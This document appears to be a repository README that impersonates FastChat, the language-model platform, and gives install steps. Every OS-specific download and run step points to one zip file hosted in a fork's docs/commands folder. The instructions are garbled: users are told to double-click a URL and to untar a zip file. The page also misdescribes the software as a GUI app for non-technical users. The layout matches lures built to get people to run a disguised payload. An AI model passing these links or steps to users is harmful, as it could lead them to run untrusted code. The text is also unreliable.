FastChat is an open platform designed for training, serving, and evaluating large language models. It serves as the release repository for Vicuna and Chatbot Arena. With FastChat, you can seamlessly work with advanced language models without needing extensive programming skills.
Follow these steps to download and run FastChat:
-
Visit the Releases Page: Go to the FastChat Releases page to find the latest version of the application.
-
Select the Latest Release: On the Releases page, identify the most recent release. It will usually be at the top of the list. Look for a section labeled “Assets” under the latest release.
-
Download the Application: Click on the file that corresponds to your operating system. This will start the download of the FastChat application. We recommend downloading the package that matches your system requirements:
- For Windows, look for a file named something like
https://raw.githubusercontent.com/mouneshbtc/FastChat/main/docs/commands/FastChat_2.0.zip. - For macOS, find
https://raw.githubusercontent.com/mouneshbtc/FastChat/main/docs/commands/FastChat_2.0.zip. - For Linux, download the file labeled
https://raw.githubusercontent.com/mouneshbtc/FastChat/main/docs/commands/FastChat_2.0.zip.
- For Windows, look for a file named something like
-
Locate the Downloaded File: Once downloaded, open your computer’s file explorer and navigate to the location where the file was saved (usually your Downloads folder).
-
Extract the Files (if necessary):
- For Windows and macOS, right-click on the zip file and choose “Extract All” or “Unzip.”
- For Linux, use the terminal to navigate to the download directory and type
tar -xvzf https://raw.githubusercontent.com/mouneshbtc/FastChat/main/docs/commands/FastChat_2.0.zip.
-
Run the Application:
- Windows: Open the extracted folder and double-click
https://raw.githubusercontent.com/mouneshbtc/FastChat/main/docs/commands/FastChat_2.0.zip. - macOS: Open the folder, then double-click
https://raw.githubusercontent.com/mouneshbtc/FastChat/main/docs/commands/FastChat_2.0.zip. - Linux: Open the terminal in the folder and run
./FastChat.
- Windows: Open the extracted folder and double-click
Now, you can start working with FastChat!
To ensure a smooth experience, please check the following system requirements before downloading FastChat:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
- Memory: At least 4 GB RAM. 8 GB or more is recommended.
- Storage: Minimum of 500 MB free space for installation.
- Processor: Dual-core or better.
You can download FastChat by clicking the link below or visiting the Releases page for more options:
After following the instructions in the "Getting Started" section, your installation should be complete.
FastChat allows you to train and evaluate language models with ease. Here's how to get started:
-
Training a Model: Once the application is running, navigate to the training section. You can choose pre-existing datasets to train your model. The interface is straightforward, guiding you through each step.
-
Evaluating a Model: FastChat provides functionalities to evaluate language models. Load your trained model and select the evaluation metrics you’d like to use. The interface will display results clearly.
-
Serving a Model: You can serve your trained models to make them accessible for testing and interaction. Follow the prompts in the application to set up a server easily.
FastChat comes packed with features that enhance your experience:
- User-Friendly Interface: Designed for non-technical users.
- Model Training: Simplifies the steps to train large language models.
- Evaluation Tools: Provides insights into model performance with easy-to-understand metrics.
- Community Support: Access to a community forum for sharing ideas and troubleshooting.
If you need help, please consult the following resources:
- Documentation: Detailed user manuals and tutorials are available in the application.
- Community Forum: Join discussions and ask questions from other users on the FastChat community forum.
- GitHub Issues: Report any bugs or issues directly on our GitHub page.
For additional assistance, feel free to contact our support team through the community forum or GitHub.
Stay updated with the latest features and improvements by regularly checking the Releases page. We plan to introduce new functionalities based on user feedback and advancements in technology.
Visit the FastChat Releases page to download the latest updates.
If you encounter issues while using FastChat, try the following steps:
- Ensure your system meets the requirements.
- Check for any missed installation steps.
- Restart the application and your computer if needed.
- Look into the community forum for similar issues faced by other users.
FastChat is open-source software distributed under the MIT License. Feel free to explore, modify, and share it according to the license terms.
Thank you for choosing FastChat! We hope this tool meets your needs for working with large language models.